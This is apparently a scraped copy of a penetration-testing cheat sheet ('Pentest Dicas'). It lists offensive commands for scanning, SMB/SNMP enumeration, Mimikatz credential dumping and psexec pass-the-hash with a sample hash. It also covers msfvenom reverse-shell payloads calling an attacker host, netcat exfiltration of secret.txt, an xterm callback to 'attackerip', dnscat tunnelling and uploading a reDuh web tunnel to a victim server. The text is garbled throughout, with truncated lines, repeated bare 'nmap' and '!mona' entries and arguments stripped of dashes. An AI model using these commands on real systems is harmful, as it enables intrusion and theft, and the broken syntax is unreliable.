Pentest Dicas
Pentest Dicas
Pentest Dicas
io/2015/08/21/pentesttips-and-tricks-number-2/
cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse script-args
vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse script-args
vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan script-args vulscancorrelation=1 -p80
target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all script-args vulscancorrelation=1 target
WordPress Scanner
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan url http://IP/ enumerate p
HTTP Fingerprinting
wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip
httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt
nmap
nmap
nmap
nmap
nmap
nmap
nmap
nmap
NC Scanning
nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
Unicornscan
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose
Xprobe2 OS fingerprinting
xprobe2 -v -p tcp:80:open IP
Samba Enumeration
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
SNMP Enumeration
snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
Meterpreter portfwd
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add l 3389 p 3389 r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
Meterpreter VNC\RDP
# https://www.offensive-security.com/metasploit-unleashed/enabling-remotedesktop/
run getgui -u admin -p 1234
run vnc -p 5043
Mimikatz use
git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd8
30b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass
e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
Netcat examples
c:>
#nc
c:>
#nc
nc -l -p 31337
192.168.0.10 31337
nc -v -w 30 -p 31337 -l < secret.txt
-v -w 2 192.168.0.10 31337 > secret.txt
Python shell
python -c 'import pty;pty.spawn("/bin/bash")'
NASM Commands
nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
SSH Pivoting
MSF Payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X >
system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R >
exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e
-a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e
x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
names
-name
-name
-name
-name
# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP =
shellcode )
!pvefindaddr
!pvefindaddr
!pvefindaddr
!pvefindaddr
!mona
!mona
!mona
!mona
!mona
!mona
!mona
pattern_create 5000
suggest
modules
nosafeseh
# https://en.wikipedia.org/wiki/Microsoftspecific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
ROP (DEP)
# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
$ DISPLAY=attackerip:0 xterm
Pentest Tips and Tricks was published on July 01, 2015 and last modified on July 01, 2015.
# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl dns example.com wordlist myWordList.txt
client (victum)
https://downloads.skullsecurity.org/dnscat2/
https://github.com/lukebaggett/dnscat2-powershell
dnscat --host <dnscat server_ip>
$ ./exiftool main.gif
Create a TCP circuit through validly formed HTTP requests with ReDuh
# https://github.com/sensepost/reDuh
# step 1
# upload reDuh.jsp to victim server
$ http://192.168.10.50/uploads/reDuh.jsp
# step 2
# run reDuhClient on attacker
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
# step 3
# connecting to management port with nc
$ nc -nvv 127.0.0.1 1010
# step 4
# forward localport to remote port with tunnel
[createTunnel] 7777:172.16.0.4:3389
# step 5
# connect to localhost with rdp
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off
localhost:7777